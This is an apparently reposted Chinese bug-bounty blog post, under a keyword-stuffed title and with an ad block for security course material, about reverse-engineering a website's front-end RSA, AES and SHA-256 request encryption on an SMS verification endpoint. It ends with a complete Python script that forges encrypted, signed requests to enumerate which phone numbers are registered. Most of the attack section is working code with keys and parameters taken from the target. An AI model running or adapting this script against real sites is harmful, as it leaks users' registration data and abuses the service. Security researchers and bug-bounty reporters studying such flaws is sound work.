python aes加密解密代码(python aes加密解密类)

前言

本文并非密码向,不会对算法过程/代码逻辑进行具体阐述,因为这没有意义,实战的时候肯定是具体问题具体分析,所以了解个大致流程就行。

在挖洞过程中,很容易找到一些登录/忘记密码是手机验证码验证的站,有些站对发送验证码这一环节并未做太多的限制,理论上可以借助这个漏洞进行爆破,从而得出数据库内所有已注册手机号,这也算一种信息泄露。这种洞十分好挖,对技术要求不高,很适合SRC入门!

如果站点在请求的时候存在前端加密,大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章,整理下思路。

寻源

前几天挖洞的时候就看到个发送验证码的

python aes加密解密代码(python aes加密解密类)

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“领取”获取——】

1.网络安全多个方向学习路线

2.全网最全的CTF入门学习资料

3.一线大佬实战经验分享笔记

4.网安大厂面试题合集

5.红蓝对抗实战技术秘籍

6.网络安全基础入门、Linux、web安全、渗透测试方面视频

idea直接创建新建项目,自动导入xml文件,配置启动服务器

先跑一百个请求,对发包没有做什么限制,说明有门!

python aes加密解密代码(python aes加密解密类)

但问题来了,请求体是这样的,明显进行了前端加密,要想爆破,还得先找出加密逻辑。

python aes加密解密代码(python aes加密解密类)

打开F12,发现控制台在输出东西,

python aes加密解密代码(python aes加密解密类)

再看资源文件,chunk文件加上index,那直接去找index.js文件即可。

python aes加密解密代码(python aes加密解密类)

然后就是要找到具体位置了,c0ny1表哥给出了一些好办法,详情见快速定位前端加密方法

可惜在这个站上不怎么好使,只能慢慢找了。

一般前端加密都是用JSEncrypt库的,所以可以试试搜一些jsencrypt相关的方法名,如setPublicKeyencrypt

若压缩过的代码看得太累,可以试试用http://jsnice.org/美化下。

不要手撕js,会变得不幸。

首先打开F12,点开源代码,点个js文件,之后再点下左下角的美化按钮

python aes加密解密代码(python aes加密解密类)

代码就变得好看多了

python aes加密解密代码(python aes加密解密类)

尝试性的搜了下encrypt,位置大概就被我找到了。

python aes加密解密代码(python aes加密解密类)

这里有很多个函数,如encodeRSAdecodeRSAgetKeyRSADefaultencodeAESdecodeAESgetKeyAESsignature这种函数名,可以说是再明显不过的提示了。

分析

经过不眠不休的折磨,我逐渐理解了一切。

0.DEMO

先了解一下JSEncrypt库,十分简单

import JSEncrypt from 'jsencrypt'

//加密
var encryptor = new JSEncrypt()
var pubKey = '-----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY-----'
encryptor.setPublicKey(pubKey)//设置公钥
var rsaPassWord = encryptor.encrypt('要加密的内容')

//解密
var decrypt = new JSEncrypt()
var priKey  = '-----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY----'
decrypt.setPrivateKey(priKey)//设置秘钥
var uncrypted = decrypt.decrypt("要解密的内容")//解密之前拿公钥加密的内容

1.RSA

首先在疑似RSA加密的位置的结尾下个断点,

python aes加密解密代码(python aes加密解密类)

为什么要在结尾?大概思路是:不去关心这个函数的具体逻辑,因为太费劲;由结果推过程,直接看代码运行结束后那些参数以及返回值,以此结合所学知识/经验去推断这个函数的作用。

我们不是来做密码题的,我们只是来挖洞的。

然后会发现,右边有一大堆参数。

python aes加密解密代码(python aes加密解密类)

好,再看encodeRSA函数,已知n为0,该函数有用的部分就变成这样了

python aes加密解密代码(python aes加密解密类)

s["JSEncrypt"]很明显,是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是:

function() {
    o = new JSEncrypt();
    o.setPublicKey(a);
    return o.encrypt(t)
}

看,其实就是普通的RSA加密!

而且RSA公钥也给了,就是参数a

python aes加密解密代码(python aes加密解密类)

然后加密字符串参数t,其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。

python aes加密解密代码(python aes加密解密类)

在F12的控制台中执行一下,能够输出相似的结果。

python aes加密解密代码(python aes加密解密类)

JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5,而且还会进行base64编码。

python aes加密解密代码(python aes加密解密类)

扔到CyberChef先放着,待会有用。

python aes加密解密代码(python aes加密解密类)

加密完了,该尝试解密了。解密需要私钥。一般前端加密,公钥都会直接放到JS里,如果需要解密,那私钥也可能放这。

随便看了下,公钥和私钥就在下面,比较了下这个公钥和之前断点跑出的公钥也对的上。

python aes加密解密代码(python aes加密解密类)

这样,就可以解密了。

python aes加密解密代码(python aes加密解密类)

2.AES

接下来就是AES,同样的,下个断点看结果。

python aes加密解密代码(python aes加密解密类)

能够发现,参数e是输入的值,参数t的值和之前那个值一模一样,同时也是需要加密的字符串。

而且AES相关参数也给出了:

python aes加密解密代码(python aes加密解密类)

初始向量:1234567812345678,CBC模式,zeropadding填充。

AES的话,CyberChef没有padding相关选项,运算结果末位有所不同,所以用另一个表哥写的工具:https://github.com/Leon406/ToolsFx

python aes加密解密代码(python aes加密解密类)

解码的话也是一样,毕竟是对称加密。

3.SHA-256

SHA-2,名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写,一种密码散列函数算法标准,属于SHA算法之一,是SHA-1的后继者。其下又可再分为六个不同的算法标准,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256

这里就是最后的波纹了,也是最复杂的地方。

还是一样的思路,但由于输入的参数不好猜,于是我在同一行加了好多个断点去看参数变化,这是一个非常好滴技巧!如下图所示,每个蓝色三角形就是断点。

在这能发现,这段代码的意思就是将e组合起来,键值对加等号且再用逗号相连变成字符串n

python aes加密解密代码(python aes加密解密类)

之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下:

{clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=1647409240148, secret=test, timestamp=20220316014040}

好,接下来来验证一下

这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9

python aes加密解密代码(python aes加密解密类)

输出结果对的上,说明没错:

python aes加密解密代码(python aes加密解密类)

看着下图的请求体,最后总结一下。

python aes加密解密代码(python aes加密解密类)

1.在网页加载的时候先获取一个长度16的AES KEY,然后对这个AES KEY进行RSA+Base64加密,结果为encodeKey

2.将{"phone":"13888888888","smsCode":""}这个格式的字符串,根据AES KEY进行AES+Base64加密,结果为requestData

3.clientIdrequestIdtimestamp不影响。这三个参数并未参与密码运算,可以任意更改。

4.将所有参数融合进行SHA256加密来签名。

爆破

分析完毕,那么接下来就可以开始爆破了。

接下来有两种做法:

1.写Python代码。因为思路以及理清且加密逻辑简单,可以直接手搓。

2.写JavaScript代码,配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter。

在这里我选择1,具体代码如下:

import hashlib
import urllib3
import requests
import base64
from Crypto.Cipher import AES

urllib3.disable_warnings()

# aes的key和初始向量
key = 'PHVDHENXNREOEVON'
vi = '1234567812345678'
url = ""
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"",
           "Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",
           "Sec-Ch-Ua-Mobile": "?0",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",
           "Token": "undefined", "Sec-Ch-Ua-Platform": "\"Windows\"",
           "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


def AES_Encrypt(data):
    global key
    global vi
    pad = lambda s: s + (16 - len(s) % 16) * chr(0)
    data = pad(data)
    # 字符串补位
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    encryptedbytes = cipher.encrypt(data.encode('utf8'))
    # 加密后得到的是bytes类型的数据
    encodestrs = base64.b64encode(encryptedbytes)
    # 使用Base64进行编码,返回byte字符串
    enctext = encodestrs.decode('utf8')
    # 对byte字符串按utf-8进行解码
    return enctext


def AES_Decrypt(data):
    global key
    global vi
    data = data.encode('utf8')
    encodebytes = base64.decodebytes(data)
    # 将加密数据转换位bytes类型数据
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
    text_decrypted = cipher.decrypt(encodebytes)
    text_decrypted = text_decrypted.rstrip(b'\0')
    # 去补位
    text_decrypted = text_decrypted.decode('utf8')
    return text_decrypted


def sha256(text):
    return hashlib.sha256(text.encode()).hexdigest()


phone_list = []
with open('test-phone.txt', 'r', encoding='utf8') as f:
    for i in f:
        phone_list.append(i.strip())

for i in phone_list:
    requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)
    encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="
    sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (
        encodeKey, requestsData)
    sign = sha256(sign_exp)
    json = {"clientId": "1",
            "encodeKey": encodeKey,
            "requestData": requestsData, "requestId": "1",
            "sign": sign, "timestamp": "1"}
    res = requests.post(url, headers=headers, json=json, verify=False)
    try:
        result = AES_Decrypt(res.text.strip())
        if '该手机号未查询到用户' in result:
            print("未注册" + i)
        else:
            print("查询到了:" + i)
    except Exception as e:
        print(e)
        print(res.text)
        exit()

代码中我保持encodeKey不变,这样意味着AES KEY不变,爆破代码就可以不用写RSA相关了。

因为返回的值长这样,也是一个AES加密,所以写了个AES_Decrypt函数用于解密返回包。

python aes加密解密代码(python aes加密解密类)

python aes加密解密代码(python aes加密解密类)

这种爆破手机号的洞我也尝试去投了两个到CNVD,一个归档一个驳回,打个信息泄露擦边球着实难以界定。

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 sumchina520@foxmail.com 举报,一经查实,本站将立刻删除。
如若转载,请注明出处:https://www.summeng.com/11925.html